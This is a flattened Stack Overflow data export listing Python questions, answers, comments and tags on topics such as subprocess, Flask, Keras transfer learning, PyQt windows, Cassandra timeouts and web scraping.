has answer: http://stackoverflow.com/a/48723062

http://stackoverflow.com/comment/84597586
type: Comment
comment on: http://stackoverflow.com/a/48772627
score: 0
type: AnswerComment
has text: my concern is that using WEKA I could get a 100% classification, i.e the prediction gives me same result in terms of classes as the expected classes. I want to obtain the same result in python. But using SVC or SVR I always get some misclassified instances. So I thought that it came from the implementation of SVC/SVR. But using libsvm I get more errors: With the same parameters as WEKA for C, gamma, kernel,... I get 14 misclassified instances

http://stackoverflow.com/q/48752152
has answer: http://stackoverflow.com/a/59496029
favorite count: 0
score: 19
type: Question
accepted answer: http://stackoverflow.com/a/48752179
tagged with: python
possible better answer: http://stackoverflow.com/a/59496029
upvote count: 19
tagged with: python-3.x
has title: How do I pass a string into subprocess.run using stdin?
tagged with: subprocess
answer count: 2
has answer: http://stackoverflow.com/a/48752179
type: AnsweredQuestion
has body: How do I pass a string "foo" to a program expecting it on stdin if I'm using Python's subprocess.run()?
downvote count: 0

http://stackoverflow.com/q/48713681
duplicate of: http://stackoverflow.com/q/41315394
has body: I've read some topics (like this one) regarding this issue, but it was a side issue and only workarounds were proposed/accepted as an solution. So is there a way to fix the issue as is, without "read by chunks in a loop": with open(fileName, 'rb') as bytestream: buf = bytestream.read() When file is larger then ~2GB (presumably signed int32) it produces this error: OSError: [Errno 22] Invalid argument My config: Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 26 2016, 10:47:25) [GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin OS: macOS Sierra Version 10.12.6 (16G1212)
score: 0
tagged with: file
has comment: http://stackoverflow.com/comment/84426665
has comment: http://stackoverflow.com/comment/84427391
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/1405913
tagged with: macos-sierra
has title: Python read file limitations on macOS?
has comment: http://stackoverflow.com/comment/84426556
answer count: 0
linked to: http://stackoverflow.com/q/43723468
has comment: http://stackoverflow.com/comment/84427277
tagged with: python-3.x
linked to: http://stackoverflow.com/q/41315394
type: Question
tagged with: io
has comment: http://stackoverflow.com/comment/84427338
tagged with: python

http://stackoverflow.com/comment/84461069
comment on: http://stackoverflow.com/a/48730976
type: Comment
has text: 8k is a common buffer size, but you can tweak it if you really need to optimize some aspect of the processing. The network is likely slower than the sink to `ffmpeg` under normal loads, so maximizing network utilization will perhaps increase overall latency somewhat. If you don't particularly care, 8192 is probably a solid, comfortable magic number.
score: 0
type: AnswerComment

http://stackoverflow.com/a/48717603
answers question: http://stackoverflow.com/q/48717582
upvote count: 2
score: 2
has body: You aren't returning anything in your third function. You're only calling a function that does return something. Simply add a return def return_void_filled(): #This has inside a RETURN VALUE print(return_something()) return return_something()
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48717582
type: Answer

http://stackoverflow.com/comment/108130018
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48672133
score: 0
has text: hi @ÁlvaroSL . Did you solve this issue? I think I have same right now...

http://stackoverflow.com/comment/84464596
score: 0
has text: I don't get it. Please elaborate . As I said I'm completely new to this.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48722813

http://stackoverflow.com/comment/84393389
has text: `list.remove()` returns `None`. It's documented as doing so, and this is on purpose.
comment on: http://stackoverflow.com/q/48697282
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/comment/84391429
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48696344
has text: I guess (I might be wrong) that in Python 2x the 3rd expression was not evaluated if the first one is true.

http://stackoverflow.com/comment/84431171
type: QuestionComment
comment on: http://stackoverflow.com/q/48715887
has text: Questions about style / best practices aren't really a good fit for StackOverflow -- we prefer questions with concrete, canonical answers (and, as a general guideline, questions that revolve around a problem or error; if nothing's broken, that's a smell that what you have may not be a SO question). See [A Guide to Code Review for Stack Overflow Users](https://codereview.meta.stackexchange.com/questions/5777/a-guide-to-code-review-for-stack-overflow-users) for discussion about one possible alternative and which questions are or aren't a fit on each of the two sites.
score: 0
type: Comment

http://stackoverflow.com/q/48776768
has body: I have tried to come up with a solution and can't even get a base code worked out. I just want a simple way to take a string, example: "http://192.168.0.1/mobile/code.fcgi?serverId=1" and send that string to a target IP. So take the string above and post it to 192.168.0.67. Thanks, J
score: 0
tagged with: http
tagged with: post
has title: POST request a string to HTTP Url
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48776844
tagged with: python-3.x
type: Question
tagged with: python
tagged with: request
answer count: 1

http://stackoverflow.com/comment/84565801
has text: Yop ! It was exactly like this ! Thanks ;)
comment on: http://stackoverflow.com/q/48767425
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/48914419
has body: Actually bottle comes with this solution built into it's own template engine. https://bottlepy.org/docs/dev/stpl.html#template-functions include(sub_template, **variables) Render a sub-template with the specified variables and insert the resulting text into the current template. The function returns a dictionary containing the local variables passed to or defined within the sub-template: % include('header.tpl', title='Page Title') Page Content % include('footer.tpl') rebase(name, **variables) Mark the current template to be later included into a different template. After the current template is rendered, its resulting text is stored in a variable named base and passed to the base-template, which is then rendered. This can be used to wrap a template with surrounding text, or simulate the inheritance feature found in other template engines: % rebase('base.tpl', title='Page Title') Page Content ... This can be combined with the following base.tpl: {{title or 'No title'}}
answers question: http://stackoverflow.com/q/48803770
score: 0
type: Answer

http://stackoverflow.com/a/67132460
score: 0
has body: This is an old question, but I'll try nonetheless... Do you think that adding the static_url_path and static_folder to your app function would have solved the issue? app = Flask(__name__, static_url_path='/', static_folder='../app/static')
type: Answer
answers question: http://stackoverflow.com/q/48710213

http://stackoverflow.com/a/69160394
has body: To scrape thumbnail, original size images, you need to scrape data from the tags using regex. Code and full example in the online IDE that scrapes and downloads Google Images: import requests, lxml, re, json from bs4 import BeautifulSoup headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582" } params = { "q": "batman wallpaper", # query "tbm": "isch", "hl": "en", # language "ijn": "0", # batch of 100 images } html = requests.get("https://www.google.com/search", params=params, headers=headers) soup = BeautifulSoup(html.text, 'lxml') def get_images_data(): print('\nGoogle Images Metadata:') for google_image in soup.select('.isv-r.PNCib.MSM1fd.BUooTd'): title = google_image.select_one('.VFACy.kGQAp.sMi44c.lNHeqe.WGvvNb')['title'] source = google_image.select_one('.fxgdke').text link = google_image.select_one('.VFACy.kGQAp.sMi44c.lNHeqe.WGvvNb')['href'] print(f'{title}\n{source}\n{link}\n') # this steps could be refactored to a more compact all_script_tags = soup.select('script') # # https://regex101.com/r/48UZhY/4 matched_images_data = ''.join(re.findall(r"AF_initDataCallback\(([^<]+)\);", str(all_script_tags))) # https://kodlogs.com/34776/json-decoder-jsondecodeerror-expecting-property-name-enclosed-in-double-quotes # if you try to json.loads() without json.dumps it will throw an error: # "Expecting property name enclosed in double quotes" matched_images_data_fix = json.dumps(matched_images_data) matched_images_data_json = json.loads(matched_images_data_fix) # https://regex101.com/r/pdZOnW/3 matched_google_image_data = re.findall(r'\[\"GRID_STATE0\",null,\[\[1,\[0,\".*?\",(.*),\"All\",', matched_images_data_json) # https://regex101.com/r/NnRg27/1 matched_google_images_thumbnails = ', '.join( re.findall(r'\[\"(https\:\/\/encrypted-tbn0\.gstatic\.com\/images\?.*?)\",\d+,\d+\]', str(matched_google_image_data))).split(', ') print('Google Image Thumbnails:') # in order fo…
score: 0
answers question: http://stackoverflow.com/q/48665960
type: Answer

http://stackoverflow.com/q/48727203
tagged with: python-3.x
type: Question
accepted answer: http://stackoverflow.com/a/48727396
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/84453607
has comment: http://stackoverflow.com/comment/84453531
has body: Im writing a default dict (list) to a file with : def write_to_file(slack_dict): if os.path.exists("slack_dict"): print ("slack_dict file already exist, skipping writing") else: print ("writing slack_dict to file") F = open('slack_dict', "w") F.write(str(slack_dict).encode('UTF-8')) F.close() the slack_dict being written to file is : defaultdict(&lt;type 'list'&gt;, {u'djin_acontentmgmt_sample': [{'color': u'blue', 'status': 'SUCCESS', 'region': u'virginia', 'env': u'int', 'job_no': '122'}]}) How do I remove the unicode strings ? I already have tried F.write(str(slack_dict).encode('UTF-8'))
answer count: 1
downvote count: 1
has title: Python adds unicode to file
has answer: http://stackoverflow.com/a/48727396
tagged with: python-2.7
type: AnsweredQuestion
upvote count: 0
tagged with: unicode
favorite count: 0

http://stackoverflow.com/q/48677643
answer count: 1
has comment: http://stackoverflow.com/comment/84355926
favorite count: 0
has answer: http://stackoverflow.com/a/48680841
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84354044
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/84354317
has comment: http://stackoverflow.com/comment/84608570
score: 3
has title: load balancing in django
has body: I have a Django server which responds to a call like this 127.0.0.1:8000/ao/. Before adding further applications to the server, I would like to experiment the load balancing which are supported by Django. Can anyone please explain how to implement load balancing. I spent sometime in understanding the architecture but was unable to find a solution. I work on Windows OS and I am new to servers.
type: Question
downvote count: 0
upvote count: 3

http://stackoverflow.com/a/48796671
upvote count: 2
type: Answer
has body: The problem is that the y_out argument to sess.run() is None, whereas it must be a tf.Tensor (or tensor-like object, such as a tf.Variable) or a tf.Operation. In your example, y_out is defined by the following code: # define model def complex_model(X,y,is_training): pass y_out = complex_model(X,y,is_training) complex_model() doesn't return a value, so y_out = complex_model(...) will set y_out to None. I'm not sure if this function is representative of your real code, but it's possible that your real complex_model() function is also missing a return statement.
downvote count: 0
score: 2
answers question: http://stackoverflow.com/q/48788169

http://stackoverflow.com/q/48738189
favorite count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84476202
tagged with: python
linked to: http://stackoverflow.com/q/9535954
has body: I just want to print some formatted output but I don't understand so I need help. Here is my code. In list, [dev, 1, 1999-09-08, y] [res, 2, 2000-01-02, n] ... Above list is inputted by user. inputlist = [] devname = input("Device Name: ") devcount = input("Device Count: ") devdate = input("Production Date(ex: 1990-01-01): ") devres = input("Stock? (y/n): ") inputlist.append(devname+","+devcount+","+devdate+","+devres) And now, I want to print above data. dev 1 1999-09-08 y res 2 2000-01-02 n I've tried to for iteration and print but I don't have idea anymore. for i in range(len(inputlist)): rd = inputlist[i].split(',') for j in range(len(rd)): print(rd[j], sep='\t', end='') Anyone help for me? I'm learning python at the very beginning so I don't understand very well about for iteration... Thank you very much in advance!
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48738299
score: 1
has comment: http://stackoverflow.com/comment/84476254
possible better answer: http://stackoverflow.com/a/48738304
has answer: http://stackoverflow.com/a/48738304
downvote count: 1
has comment: http://stackoverflow.com/comment/84476020
type: Question
has title: How can I print list in python? (should be formatted)
answer count: 2
has answer: http://stackoverflow.com/a/48738299
has comment: http://stackoverflow.com/comment/84476152

http://stackoverflow.com/comment/84374926
comment on: http://stackoverflow.com/q/48674161
score: 0
type: QuestionComment
type: Comment
has text: @chepner i am doing that on purpose so the heap is sorted given that value in `UNVISITED[i][0]`. You can see this in the first lines of this post. Afaik that is a way to define it if you also want to pop additional things.

http://stackoverflow.com/q/48706742
has body: I am trying to use Google Collaboratory with a specific library. I've installed the library but it appears that there is one file which is missing. I have the file, is there any way that I can upload it to the required directory? The error I get is: [Errno 2] No such file or directory: '/usr/local/lib/python3.6/dist-packages/climt/_data/ozone_profile.npy Thanks!!!
has title: Uploading file to a specific directory on Google Colaboratory
type: Question
linked to: http://stackoverflow.com/q/48465062
tagged with: google-colaboratory
score: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86262738
answer count: 0
has comment: http://stackoverflow.com/comment/84428300

http://stackoverflow.com/a/48748553
downvote count: 0
score: 17
has comment: http://stackoverflow.com/comment/84552739
has comment: http://stackoverflow.com/comment/84562413
has comment: http://stackoverflow.com/comment/84513545
has comment: http://stackoverflow.com/comment/84598857
has comment: http://stackoverflow.com/comment/84527920
accepted answer of: http://stackoverflow.com/q/48716184
has comment: http://stackoverflow.com/comment/84562311
answers question: http://stackoverflow.com/q/48716184
has body: The technique you are addressing is called "Transfer Learning" - when a pre-trained model on a different dataset is used as part of the model as a starting point for better convergence. The intuition behind it is simple: we assume that after training on such a large and rich dataset as ImageNet, the convolution kernels of the model will learn useful representations. In your specific case, you want to stack VGG16 weights in the bottom and deconvolution blocks on the top. I will go step-by-step, as you pointed out that you are new to Keras. This answer is organized as a step-by-step tutorial and will provide small snippets for you to use in your own code. Loading weights In the PyTorch code you linked to above, the model was first defined, and only then the weights are copied. I found this approach abundant, as it contains lots of not necessary code. Here, we will load VGG16 first, and then stack the other layers on the top. from keras import applications from keras.layers import Input # Loading without top layers, since you only need convolution. Note that by not # specifying the shape of top layers, the input tensor shape is (None, None, 3), # so you can use them for any size of images. vgg_model = applications.VGG16(weights='imagenet', include_top=False) # If you want to specify input tensor shape, e.g. 256x256 with 3 channels: input_tensor = Input(shape=(256, 256, 3)) vgg_model = applications.VGG16(weights='imagenet', include_top=False, input_tensor=input_tensor) # To see the models' architecture and layer names, run the following vgg_model.summary() Defining the U-Net computation graph with VGG16 on the bottom As pointed in previous paragraph, you do not need to define a model and copy the weights over. Just stack other layers on top of vgg_model: # Import the layers to be used in U-Net from keras.layers import ... # From the U-Net code you provided def make_conv_block(nb_filters, input_tensor, block): ... # Creating dictionary that maps layer names to the layers…
has comment: http://stackoverflow.com/comment/84552692
has comment: http://stackoverflow.com/comment/84541042
has comment: http://stackoverflow.com/comment/84598616
type: AcceptedAnswer
upvote count: 17
has comment: http://stackoverflow.com/comment/84524471
type: Answer
has comment: http://stackoverflow.com/comment/84562242
has comment: http://stackoverflow.com/comment/84723162
has comment: http://stackoverflow.com/comment/84585443
has comment: http://stackoverflow.com/comment/84599179

http://stackoverflow.com/comment/84487360
type: Comment
comment on: http://stackoverflow.com/a/48720723
score: 0
type: AnswerComment
has text: Your first path is working if i use the xpath method in xml file but not with the python method which im also using for other fields.

http://stackoverflow.com/comment/90249575
comment on: http://stackoverflow.com/a/49432863
type: AnswerComment
score: 0
type: Comment
has text: Worked for me, too

http://stackoverflow.com/q/48760628
has comment: http://stackoverflow.com/comment/84522858
favorite count: 0
type: Question
tagged with: python
has body: Currently, I am using Wand library to convert the pdf to image.But the performance is too slow.Could you suggest the best library if anyone is there? Thanks in advance
has answer: http://stackoverflow.com/a/48761447
downvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/84522547
upvote count: 4
has comment: http://stackoverflow.com/comment/84522335
accepted answer: http://stackoverflow.com/a/48761447
has title: Which the efficient python library that convert pdf to images apart from Wand,ImageMagick?
has comment: http://stackoverflow.com/comment/84521912
type: AnsweredQuestion
score: 3

http://stackoverflow.com/comment/84381604
type: Comment
comment on: http://stackoverflow.com/q/48672119
type: QuestionComment
score: 0
has text: I'm using Visual Studio Enterprise 2017 . I've tried also with Visual Studio Code, but nothing... I can't see any "objects" attribute

http://stackoverflow.com/a/48721320
type: Answer
has comment: http://stackoverflow.com/comment/84466310
score: 3
has body: You're subtracting 1 when you compute dof, but when you compute the variance you're not using the sample variance: MSE = (np.var(g1) + np.var(g2)) / 2 should be MSE = (np.var(g1, ddof=1) + np.var(g2, ddof=1)) / 2 which gives me [-31.87286426] [ 1.17370902] That said, instead of doing the manual implementation, I'd probably use statsmodels' CompareMeans: In [105]: import statsmodels.stats.api as sms In [106]: r = sms.CompareMeans(sms.DescrStatsW(g1), sms.DescrStatsW(g2)) In [107]: r.tconfint_diff() Out[107]: (-31.872864255548553, 1.1737090155485568) (really we should be using a DataFrame here, not an ndarray, but I'm lazy). Remember though that you're going to want to consider what assumption you want to make about the variance: In [110]: r.tconfint_diff(usevar='pooled') Out[110]: (-31.872864255548553, 1.1737090155485568) In [111]: r.tconfint_diff(usevar='unequal') Out[111]: (-32.28794665832114, 1.5887914183211436) and if your g1 and g2 are representative, the assumption of equal variance might not be a good one.
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/84444714
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48720609
accepted answer of: http://stackoverflow.com/q/48720609

http://stackoverflow.com/comment/84334331
type: Comment
has text: Remove `self` you're not in a class
type: QuestionComment
comment on: http://stackoverflow.com/q/48668217
score: 0

http://stackoverflow.com/a/48798492
answers question: http://stackoverflow.com/q/48798323
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has body: As @mypetlion mentioned above, recursion in Python might not give you the performance boost you are looking for. What about using itertools.product? I haven't benchmarked it compared to your original but it does seem to be implemented in C. from itertools import product for p in product(range(-10, 11), repeat=5): print(p)
type: Answer
has comment: http://stackoverflow.com/comment/84599592
accepted answer of: http://stackoverflow.com/q/48798323

http://stackoverflow.com/q/48758953
tagged with: pmml
score: 1
has answer: http://stackoverflow.com/a/64704711
has comment: http://stackoverflow.com/comment/84521708
answer count: 2
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48762039
has comment: http://stackoverflow.com/comment/84519822
has title: How to edit pmml model file using xml parser
tagged with: python
has body: I want to remove some nodes from a pmml file that I generated. So I tried to use xml parser in python: from xml.etree.ElementTree import ElementTree tree = ElementTree() tree.parse('treedemo.pmml') for inter in tree.findall('DataDictionary'): print(inter) It turns out that the print output nothing, which means the xml parser didn't work. the pmml file is here. Suppose I want to delete &lt;Interval closure="closedClosed" leftMargin="21.0" rightMargin="46.0"/&gt; from &lt;DataField name="fk_057_nearcontact_auth_expire_time" optype="continuous" dataType="float"&gt; &lt;Interval closure="closedClosed" leftMargin="21.0" rightMargin="46.0"/&gt; &lt;/DataField&gt; Can pmml file be edit and modified by python?
tagged with: http://stackoverflow.com/tag/xml
downvote count: 0
type: UnansweredQuestion
type: Question

taskmanager
tags question: http://stackoverflow.com/q/48721266
tag name: taskmanager
type: Tag

ip-address
tags question: http://stackoverflow.com/q/48645875
tag name: ip-address
type: Tag
tags question: http://stackoverflow.com/q/48726326
tags question: http://stackoverflow.com/q/48759324
tags question: http://stackoverflow.com/q/48722464

http://stackoverflow.com/comment/84658788
comment on: http://stackoverflow.com/a/48826788
type: AnswerComment
has text: Okay I tryed to copy your code but the variables aren't loaded, I've edited my post and found a way but it's not a really acceptable way
score: 0
type: Comment

http://stackoverflow.com/q/48751629
score: 1
upvote count: 1
type: Question
has title: Using python (acora) to find lines containing keywords
tagged with: search
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/48752022
accepted answer: http://stackoverflow.com/a/48752022
favorite count: 0
has body: I'm writing a program that reads in a directory of text files and finds a specific combination of strings that are overlapping (i.e. shared among all files). My current approach is to take one file from this directory, parse it, build a list of every string combo, and then search for this string combo in the other files. For instance, if I'd ten files, I'd read one file, parse it, store the keywords I need, then search the other nine files for this combination. I'd repeat this for every file (making sure that the single file doesn't search itself). To do this, I'm trying to use python's acora module. The code I've thus far is: def match_lines(f, *keywords): """Taken from [https://pypi.python.org/pypi/acora/], FAQs and Recipes #3.""" builder = AcoraBuilder('\r', '\n', *keywords) ac = builder.build() line_start = 0 matches = False for kw, pos in ac.filefind(f): # Modified from original function; search a file, not a string. if kw in '\r\n': if matches: yield f[line_start:pos] matches = False line_start = pos + 1 else: matches = True if matches: yield f[line_start:] def find_overlaps(f_in, fl_in, f_out): """f_in: input file to extract string combo from &amp; use to search other files. fl_in: list of other files to search against. f_out: output file that'll have all lines and file names that contain the matching string combo from f_in. """ string_list = build_list(f_in) # Open the first file, read each line &amp; build a list of tuples (string #1, string #2). The "build_list" function isn't shown in my pasted code. found_lines = [] # Create a list to hold all the lines (and file names, from fl_in) that are found to have the matching (string #1, string #2). for keywords in string_list: # For each tuple (string #1, string #2) in the list of tuples for f in fl_in: # For each file in the input file list for line in match_lines(f, *keywords): found_lines.append(line) As you can probably tell, I used the function match_lines from the acora web page, "FAQ and recipes" #3. I al…
tagged with: python
tagged with: aho-corasick
type: AnsweredQuestion

http://stackoverflow.com/a/48717007
score: 5
type: Answer
has comment: http://stackoverflow.com/comment/84434156
accepted answer of: http://stackoverflow.com/q/48716954
upvote count: 5
answers question: http://stackoverflow.com/q/48716954
has body: You're having issues with circular imports You should use Blueprints Working example for you: app.py from flask import Flask import views, models, resources app = Flask(__name__) app.register_blueprint(views.simple_page) if __name__ == '__main__': app.run(debug=True) views.py from flask import Blueprint simple_page = Blueprint('simple_page', __name__) @simple_page.route('/') def index(): home = " Welcome " return home This is also much a nicer pattern because now all your imports are at the top as they should be
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/84440339
type: Comment
type: QuestionComment
has text: I'm not sure I understand - do you mean that you want to shuffle a list, trying to ensure that every word has at least one 'new' word in between it and it's previous neighbours?
score: 0
comment on: http://stackoverflow.com/q/48720748

http://stackoverflow.com/q/48793272
has answer: http://stackoverflow.com/a/48793448
score: 1
tagged with: bash
upvote count: 1
has body: I am attempting to write a (Bash) shell script that wraps around a third-party python script and captures all output (errors and stdout) into a log file, and also restarts the script with a new batch of data each time it completes successfully. I'm doing this on a standard Linux distribution, but hopefully this solution can be platform-independent. So here's a simplified version of the shell script, omitting everything except the logging: #!/bin/bash /home/me/script.py &amp;&gt;&gt; /home/me/logfile The problem is the third-party python script's output is mostly on a single line, which is being refreshed periodically (~every 90 seconds) by use of a carriage return ("\r"). Here's an example of the type of output I mean: #!/usr/bin/env python3 import time tracker = 1 print("This line is captured in the logfile because it ends with a newline") while tracker &lt; 5: print(" This output isn't captured in the log file. Tracker = " + str(tracker),end="\r") tracker += 1 time.sleep(1) print("This line does get captured. Script is done. ") How can I write a simple shell script to capture the output each time it is refreshed, or at least to periodically capture the current output as it would appear on the screen if I were running the script in the terminal? Obviously I could try to modify the python script to change its output behavior, but the actual script I'm using is very complex and I think beyond my abilities to do that easily.
answer count: 1
tagged with: shell
favorite count: 0
has title: How can I redirect terminal output that "refreshes" using '\r'?
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48793448
downvote count: 0
type: Question

http://stackoverflow.com/comment/84355629
type: QuestionComment
comment on: http://stackoverflow.com/q/48677393
score: 2
has text: I suspect the resending may be controlled by the sending server. You may be able to trap and log the error, which should stop the resends - see https://stackoverflow.com/a/46012489/5320906 for a way to this.
type: Comment

http://stackoverflow.com/a/48763101
has comment: http://stackoverflow.com/comment/84609672
has comment: http://stackoverflow.com/comment/84608148
accepted answer of: http://stackoverflow.com/q/48761919
has comment: http://stackoverflow.com/comment/84608694
has comment: http://stackoverflow.com/comment/84527507
score: 0
has comment: http://stackoverflow.com/comment/84609189
type: AcceptedAnswer
has body: while excuting: self.dashboardWindow = Ui_dashboardWindow() self.dashboardWindow.setupUi() you are sciping your custom-class init, where you connect the buttons click -signal - simply use: self.dashboardWindow = dashboardClass() or add the connect manually: self.dashboardWindow = Ui_dashboardWindow() self.dashboardWindow.setupUi() self.dashboardWindow.settingsBtn.clicked.connect(openDashboard) follow all this with: self.dashboardWindow.show() self.hide() Please note that your naming is very confusing and I can't follow why your open DASHBOARD hides ands shows your SETTINGS and the other way around. You probably will have some issue there too, but I hope this will address your button-click-problem. EDIT: Here is a simple working example with three Windows called inside each other (restructured): from PyQt5.QtWidgets import * class LoginWindow( QMainWindow ) : def __init__ ( self, parent = None ) : super( LoginWindow, self ).__init__( parent ) self.text = QLineEdit( 'user/password', self ) self.loginBtn = QPushButton( 'login; dashboard', self ) self.loginBtn.move( 0, 50 ) self.loginBtn.clicked.connect( self.openDashboard ) def openDashboard ( self ) : self.dashboard = DashboardWindow( self ) self.dashboard.show() #self.hide() # optional class DashboardWindow( QMainWindow ) : def __init__ ( self, parent = None ) : super( DashboardWindow, self ).__init__( parent ) self.settingsBtn = QPushButton( "open settings", self ) self.settingsBtn.clicked.connect( self.openSettings ) def openSettings ( self ) : self.settings = SettingWindow( self ) self.settings.show() #self.hide() # optional class SettingWindow( QMainWindow ) : def __init__ ( self, parent = None ) : super( SettingWindow, self ).__init__( parent ) self.label = QLabel( 'hi :)\nsettings here', self ) where the LoginWindow-class is simply called in the main: import sys if __name__ == "__main__" : app = QApplication( sys.argv ) login = LoginWindow() login.show() sys.exit( app.exec_() ) if your using the hide-option, yo…
has comment: http://stackoverflow.com/comment/84528206
type: Answer
has comment: http://stackoverflow.com/comment/84532083
has comment: http://stackoverflow.com/comment/84528989
answers question: http://stackoverflow.com/q/48761919

http://stackoverflow.com/comment/84527798
comment on: http://stackoverflow.com/q/48763190
type: Comment
type: QuestionComment
has text: No, it does not. I can't find the class anywhere, are you sure it even exists?
score: 0

http://stackoverflow.com/q/48684048
type: Question
has comment: http://stackoverflow.com/comment/84404179
linked to: http://stackoverflow.com/q/4529815
has comment: http://stackoverflow.com/comment/84725364
tagged with: pyspark
tagged with: google-cloud-storage
linked to: http://stackoverflow.com/q/39945687
has comment: http://stackoverflow.com/comment/84374918
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48904668
favorite count: 0
has comment: http://stackoverflow.com/comment/84726777
has body: I'm collecting metrics while running a pyspark job with dataproc and I'm unable to persist them in google storage (using only python functions, not Spark). The point is that I can save them and during the execution, I read and modificate them successfully, but when the job ends, there's nothing in my google storage folder. Is it possible to persist python objects or this is only possible using pyspark libraries? Edit: I add a code snippet to clarify the question # Python import pandas as pd # Pyspark from pyspark.sql import SparkSession # Google storage filepath filepath = 'gs://[PATH]/' spark_session = SparkSession.builder.getOrCreate() sdf = spark_session.createDataFrame([[1],[2],[3],[4],[5]], ['col']) pdf = pd.DataFrame([1,2,3,4,5], columns=['col']) # Save the pandas dataframe (THIS IS NOT PERFORMED IN MY BUCKET) pdf.to_pickle(filepath + 'pickle.pkl' ) # Save the spark dataframe (THIS IS PERFORMED IN MY BUCKET) sdf.write.csv(filepath + 'spark_dataframe.csv') # read pickle (THIS WORKS BUT ONLY DURING THIS JOB EXECUTION, # IT'S NOT ACCESSIBLE BY ME, maybe its in some temporal folder only) df_read = pd.read_pickle(filepath + 'pickle.pkl' )
has comment: http://stackoverflow.com/comment/84390110
tagged with: google-cloud-dataproc
tagged with: python
has title: Save python data object to file in google storage from a pyspark job running in dataproc
score: 2
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84378146
has comment: http://stackoverflow.com/comment/84628501

http://stackoverflow.com/a/48723199
answers question: http://stackoverflow.com/q/48652048
type: Answer
has body: Run python, then type execfile('myApp.py') for python2, or exec(open("./myApp.py").read()) for python3.
score: 0

http://stackoverflow.com/q/48650477
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48650576
tagged with: join
score: 1
has title: Joining Strings Together Randomly in Python
has comment: http://stackoverflow.com/comment/84298844
has body: I'm looking for the words in the list to be joined together in different combinations, but it's only returning single word results. I'm looking for strings like 'whywho' 'whatwhywhen' 'howwhywhatwho' etc. import random, sys words = ['why', 'who', 'what', 'why', 'when', 'how'] for i in range(100): print ''.join(random.choice(words[:randint(1, 4)]))
has answer: http://stackoverflow.com/a/48650555
tagged with: random
answer count: 3
linked to: http://stackoverflow.com/q/1456617
favorite count: 0
has comment: http://stackoverflow.com/comment/84298824
tagged with: range
tagged with: python
has comment: http://stackoverflow.com/comment/84298735
tagged with: list
has comment: http://stackoverflow.com/comment/84299414
has answer: http://stackoverflow.com/a/48651051
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84298847

http://stackoverflow.com/q/48653826
tagged with: datastax
downvote count: 0
favorite count: 0
has title: How to set/override the client request timeout using the Cassandra Python driver?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/54869580
score: 6
tagged with: python
upvote count: 6
has body: I have a simple script to insert a new record into a Cassandra database. It works fine on my local machine, but I am getting timeout errors from the client when I moved the database to a remote machine. How do I properly set the timeout for this driver? I have tried many things. I hacked the timeout in my IDE and got it to work without timing out, so I know for sure its just a timeout problem. How I setup my Cluster: profile = ExecutionProfile(request_timeout=100000) self.cluster = Cluster([os.getenv('CASSANDRA_NODES', None)], auth_provider=auth_provider, execution_profiles={EXEC_PROFILE_DEFAULT: profile}) connection.setup(hosts=[os.getenv('CASSANDRA_SEED', None)], default_keyspace=os.getenv('KEYSPACE', None), consistency=int(os.getenv('CASSANDRA_SESSION_CONSISTENCY', 1)), auth_provider=auth_provider, connect_timeout=200) session = self.cluster.connect() The query I am trying to perform: model = Model.create(buffer=_buffer, lock=False, version=self.version) 13..': 'Client request timeout. See Session.execute_async'}, last_host=54.213.. The record I'm inserting is 11mb, so I can understand there is a delay, just increasing the timeout should do it, but I can't seem to figure it out.
type: Question
has answer: http://stackoverflow.com/a/55396387
has answer: http://stackoverflow.com/a/48657766
tagged with: cassandra-python-driver
tagged with: cassandra
answer count: 3

http://stackoverflow.com/q/48751872
tagged with: docker
score: 0
tagged with: utf-8
has comment: http://stackoverflow.com/comment/84504531
linked to: http://stackoverflow.com/q/43356982
tagged with: multithreading
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48768503
accepted answer: http://stackoverflow.com/a/48768503
